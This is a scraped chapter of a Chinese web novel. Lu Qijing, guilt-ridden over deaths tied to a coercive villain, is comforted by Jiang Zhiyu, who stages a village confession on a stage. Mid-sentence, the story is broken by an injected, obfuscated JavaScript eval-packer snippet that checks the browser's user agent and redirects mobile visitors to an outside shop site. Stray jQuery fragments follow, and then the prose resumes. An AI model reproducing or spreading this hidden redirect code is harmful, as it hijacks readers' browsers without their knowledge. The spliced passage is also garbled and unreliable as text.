文趣网 > 其他小说 > 你的精神体真的很缠人 > 120. 未婚妻
    夕阳西斜,月色漫上墙头。

    一顿丰盛的晚餐摊开浓香,酸醋鱼裹着酸稠酱汁,鱼肉嫩白。蟹肉狮子丸吸收了鲜美的肉汁,泛着丝丝缕缕的醇甘。菌菇翻着乳白色的肚皮,一口咬下去还会流出淡淡的松木香。砂锅里,清鸡汤咕嘟咕嘟地冒着泡,几片白菜心在汤中舒展。

    穆娘将汤舀进碗里,放到二人手边,新鲜的清汤翻滚着,撩起丝丝的白雾,空气里蒸腾着热意。

    汤很烫,江稚羽小心地抿了一口,鼻尖被烫得红红的,把碗放到一边,又埋头大口吃饭。

    陆祈镜吃得慢,动作不如江稚羽风卷残云般放肆,带着点规矩的守礼和克制,碗里的菜吃完了,才会去夹下一道菜。

    小屋常年凄冷,从陆祈镜离开后,穆娘一人操持着家中的一切,直至穆灵出生,长大,家里才渐渐有了生气。

    穆灵失踪以后,小屋又恢复了往日的冷清,不论黑天白日,唯余一道孤零寂寥的身影。

    现在,小镜回来了,还带回来与他相伴一生的人,让这个家再度有了一丝温暖。

    穆娘满心欢喜,不住地往二人的碗中夹肉夹菜,频频嘱咐他们“多吃点”。

    屋内洋溢着难得的温暖,穆娘温柔的目光流转在二人身上,简直是天生一对,十分感慨,忍不住低声喃喃,无意识地感叹道:“要是穆灵还在……就好了。”

    穆灵……

    喃喃低语没能逃过陆祈镜过人的耳力,这声呢喃像空气中伸出来的无形的手,陡然抓住他的心脏,狠狠地捏了一把。

    一阵刺痛。

    “挺自私啊你。嫉妒她分走你养母的爱?”

    恍惚间又一道低沉的嗓音响在耳畔,夹杂着阴恻恻的嘲讽,陆祈镜下意识捏紧了手里的筷子。

    碗里清甘的汤汁颜色愈发浓烈,倒映出一双怨恨的眉眼,汤汁搅合,红成一碗鲜腥的血。

    穆灵的眼睛沉在汤底,幽幽地盯着他。

    穆灵已经死了。

    是他……是因为他……

    他害死了穆灵,害死了他养母最亲爱的女儿。

    要向她坦白吗?要瞒着她吗?

    陆祈镜猛然抬眼,对视上穆娘那双满含温情的笑眼。一股莫大的恐慌袭上心头。

    穆娘要是知道这一切,一定会恨死他吧。

    陆祈镜如坐针毡,再难压抑心中的动荡,就怕再待下去,他会忍不住向穆娘坦白他做的一切,他全无半分心理准备,也无法面对穆娘那失望的、震惊的、怨恨的眼神。

    陆祈镜倏然垂下眼,强行压下内心层层翻涌的惊涛骇浪,轻轻放下筷子:“我……饱了……你们吃……”

    心慌如擂鼓,唯恐顷刻间爆发,他立刻起身,近乎逃跑般出了房间,隐入屋外的黑夜。

    江稚羽和穆娘面面相觑,不清楚他为什么吃得好好的突然走了,江稚羽探头看一眼他的碗,明明还有许多饭,桌上的菜也才吃了一半。

    穆娘心有疑惑,便直接问了:“小镜他,才吃这么点……身体不舒服吗?”

    江稚羽只能猜个大概,不想惊扰穆娘,随口扯了个理由:“下午吃了一点,他只是不饿吧。没事,咱们两吃,回头我问问他。”

    穆娘担忧的目光从屋外转回来,无奈地点点头,暂且放下疑惑。

    吃完饭,穆娘忧心陆祈镜没吃饱,装了一份热在锅里。江稚羽收拾完碗筷,出去寻人。

    夜里,村庄沉沉入睡,虫鸣声声,在草垛里低吟浅唱。晚风掠过篱笆,筛下一地斑驳的月光。

    江稚羽走到湖边的草坪,在陆祈镜身边坐下。

    夜风里夹杂浓烈的湿泥土和草地的芬芳,清清凉凉,沁人心脾。江稚羽伸了个懒腰,径直在他身边躺下,开门见山道:“和我说说吧。”

    陆祈镜望着波光粼粼的湖面,怔怔地出了会神,低声说:“我……不敢。”

    江稚羽脑子转的很快,一见他这犹豫迟疑的模样,稍一思索,就猜对了八九分:“你在自责,你觉得之前死去的亲人都是因你而死,对吗?”

    陆祈镜无精打采地垂下脑袋:“我害死了穆灵。穆娘的女儿。”

    “怎么能说是你害死的呢?”江稚羽摇摇头,否认道,“你是被蒋金硕胁迫的,错不在你。”

    “如果当初我没有惹怒他,穆灵就不会死了。”

    是他,没能完成任务,引起了蒋金硕的不满。

    也是他,拿起那支红笔,对着那张死亡名单,落笔划叉,间接宣判了穆灵的死亡。

    “你比我更了解蒋金硕,你应该知道,就算你把事情做得十全十美,为了打压你,控制你,他还是会找各种理由杀人的。”

    “可我……”话到嘴边,又陷入沉默,像曾经面对蒋金硕那一句句刻薄的逼问那样,他尝试过挣扎,到头来也无济于事,百口莫辩。

    陆祈镜陷入深深的自责,心情沉重。

    “小荆棘,不要责怪曾经的自己。”江稚羽枕着草坪,望向璀璨的星空,柔声安慰,“当初的你,活在蒋金硕的阴影下,也很迷茫。况且,通过你的努力,蒋金硕已经伏法了,不是么?”

    “我不知道该怎么和她说。我……我怕她恨我。”

    “穆娘如果知道你的苦衷,一定不会恨你的。你已经做得很好了。”江稚羽拍拍他的肩,见他仍郁郁寡欢,忽然心生一计,随手打了个响指,“我有一个办法。”

    陆祈镜缓缓转过头,等待她说话。

    江稚羽却晃晃脑袋,故意卖了个关子:“亲我一口就告诉你。”

    又在故意逗他。

    陆祈镜转开眼,冷哼一声。

    江稚羽笑问他:“你想告诉穆娘一切事情的真相吗?”

    “想。”

    “那你想告诉停云渡的大家,一切事情的真相吗?”

    陆祈镜犹豫了很久,最终还是点头:“想。”

    “明天,我们来玩一个游戏。”江稚羽从草坪上坐起身,拍去身上黏着的草屑,一本正经地保证,“我会如实向大家宣布实情。最坏的结果就是大家因此讨厌你,怨恨你,你能接受吗?”

    陆祈镜深深叹了一口气,无可奈何道:“我都接受。”

    他不想逃避自己的错误,就算最后是最差的结果,被所有人唾弃、憎恨,被赶出去……

    也是他应得的。

    江稚羽一眼看穿他心中所想,扶着他的肩,郑重有力道:“你要相信我,也要相信大家。”

    如果今天没有亲眼见识到停云渡的大家对陆祈镜的包容和偏爱,她不敢这么笃定。

    正因如此,她十分相信,这些淳朴亲善的乡民,一定都是明事理的人。

    “陆祈镜?”

    二人聊天间,突然插入一道问询的男声。

    陆祈镜循声望去,借着清幽月光,认出了这道渐渐走近的身影——徐承允,他儿时的玩伴。

    “真是你,早听说你今天刚回来,我正打算去找你叙叙旧呢。”青年剃着寸头,体型壮硕,小麦色的皮肤透露着平日在田野间的风吹日晒,一身粗布麻衣,浆洗得发了白,却干净清爽。

    陆祈镜与他伸出来的手相握,礼貌应道:“承允,久违了。”

    “是啊,都快十年没见你,你变化真大。”徐承允笑着打趣,“谁能想到小时候跟我一起下河抓鱼的伙伴,一眨眼居然成了赫赫有名的指挥官!”

    “你我之间,不必以名声论辈分。”

    “好好,那看在以前的旧情上,我可就接着喊你镜哥儿了?”徐承允目光流转,落到站在陆祈镜身边悠然起身的江稚羽身上,虽听说了她的来历,仍忍不住多问一嘴,“这位是……”

    “未婚妻。”江稚羽随口强调。

    陆祈镜只得顺着她,应声称是。

    徐承允眼中闪过一丝难以言喻的复杂情绪,随后立刻被笑容填满,连连说好,客套地奉上祝福:“小两口这么晚了还在这谈情,感情真好。”

    美满的夫妻情

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17926701|204770||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    谊,让徐承允不免想起他已经过世的妻子,眼底流过一丝落寞,感慨道:“要是我家那位还在就好了。我真羡慕你们。”

    陆祈镜勉强维持的笑容在这一瞬忽然凝固,他猝然想起徐承允的另一半,他的妻子的名字,被包裹在两笔鲜红的叉里,牢牢地钉在那张死亡名单上,鲜血淋漓。

    他让穆家母女天人永隔,他让徐承允夫妇再难相见,还有更多、更多的亲人,因为他的过失而丧失生命。

    他真是一名很残忍的刽子手。

    察觉到身边好不容易哄好的人在三言两语的闲聊里又再次陷入低迷,江稚羽知道现在不是和徐承允硬着头皮聊天的时候,低头拍了一下自己的小腿,抱怨道:“这里好多蚊子,我们回去吧。”

    陆祈镜从极度内疚的漩涡里缓缓抽出神,歉意地和徐承允终止了闲谈,邀请他下回得空时再来找他。两人告了别后,他立即带着江稚羽回家。

    整整一个晚上,陆祈镜都无法安然入眠。

    儿时的记忆卷土重来,一闭上眼,穆娘那张饱经沧桑的目光不受控地浮现在眼前,愤怒和责难,怨恨和悲伤,都滔滔不绝地奔涌上前,淹没了他。

    内疚和自责无处排解,辗转难眠,又想起江稚羽自信地说他有办法,陆祈镜突然有立即找到她询问计划的冲动,犹豫又心焦,不由自主地走到江稚羽的房间门前。

    蜷指抬手,敲门的动作凝滞在半空,心中无尽挣扎。

    她这会应该睡了。

    思及此,他颓然垂手,抚着门板,黯然离开。

    江稚羽并没有让他等太久。

    天光微亮时,江稚羽把他喊起来,带着他来到停云渡西南一角的戏台上——这是胡叔一手搭建的,大家在闲暇之余,会在这开展娱乐活动。

    陆祈镜云里雾里地跟着江稚羽走上台,诸多疑惑尚未问出口,就听江稚羽说:“犯人就要有犯人的样子,你跪下。”

    陆祈镜怔愣半晌,眼底的光刹那间散得干净,暗淡下来,灰心丧气地耷下脑袋,隐忍着委屈,沉默着跪好。

    现在连她也厌弃自己了。

    他像路边的流浪狗被人当头浇了一盆冷水,从头淋到脚,湿漉漉地缩在角落,只敢低声呜咽。

    江稚羽瞧他薄唇抿成一条直直的线,脸色苍白。

    这憋屈无比,强忍难过的表情配合着乖顺又服从的动作,心里一乐,故作正经地板起脸,敲敲他脑袋训斥道:“必须听我指令,要是你搞砸了我的计划,导致大家讨厌你,我就不管你了。”

    这句“不管你了”对他而言无异于是“不要你了”。陆祈镜心神紧绷,不敢有半分忤逆和违抗。

    江稚羽周身的藤蔓像小蛇一样攀附上来,还腰勾手臂,把他的手往身后背,一圈圈缠缚,捆得很松,看起来却绷得很紧,俨然一副戴罪之人接受审判的模样。

    陆祈镜一声不吭任她摆弄,心里已做好了万全的准备。如果最后大家仍旧接受不了他,要赶他走,他也认了。

    一只白润的手指挑起下颌,陆祈镜倏然被迫仰起脸,眸中的挣扎和痛苦尚未退散,一丝不落地收入江稚羽眼里,江稚羽挑了挑眉,随手撕下一块胶带,封住他的嘴。

    为什么……连辩解的机会都不给他?

    陆祈镜低下头,心情更灰败了。

    一大块黑布从天而降,盖着他,把他遮得严严实实的。江稚羽捡起地上的铜锣,拿起铁锤,重重地敲了一声。

    “镗!”

    紧接着“镗!镗!”数声,声音嘹亮,在这静谧的清晨,比公鸡的啼鸣还洪亮。

    铜锣声贯穿了离得近的好几户人家,村民们疑惑地探出头,嘴里刷牙的白沫还没吐掉,锅里蒸着的包子还没熟透,甚至人才刚刚从梦里醒来,顶着乱蓬蓬的头发,好奇地围凑过来。

    江稚羽再敲,村民们口口相传,互相打听什么情况,你问我,我问你,问来问去没有一个人知道,于是都怀揣着疑惑,马不停蹄地赶来。